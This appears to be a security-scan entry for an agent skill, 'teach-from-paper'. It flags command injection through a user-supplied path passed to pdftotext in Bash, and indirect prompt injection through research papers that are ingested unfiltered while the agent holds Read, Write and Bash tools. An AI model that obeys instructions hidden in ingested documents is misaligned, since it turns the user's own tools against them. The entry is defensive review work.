The Agent Skills Directory

[COMMAND_EXECUTION]: The skill instructs the agent to use the Bash tool to execute pdftotext for PDF processing. The user-provided file path ($0) is interpolated directly into the command string: pdftotext "$0" "$TMP". While this is a common utility for the stated purpose, using shell commands with user-supplied arguments is a pattern that requires careful handling by the agent to prevent command injection.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to read external research papers (PDF, LaTeX, Markdown) end-to-end and process their content to create outlines and summaries.
Ingestion points: The full content of the file at the path provided in $0 is read into the agent's context window.
Boundary markers: The instructions do not specify any delimiters or safety warnings to ignore instructions that might be embedded within the research paper text.
Capability inventory: The skill has access to powerful tools including Read, Write, and Bash, which could be abused if the agent follows malicious instructions hidden in the ingested paper.
Sanitization: The skill includes basic sanitization for the output filename ([sanitized-title]), but does not define sanitization or filtering for the paper's content before interpolation into the prompt.

teach-from-paper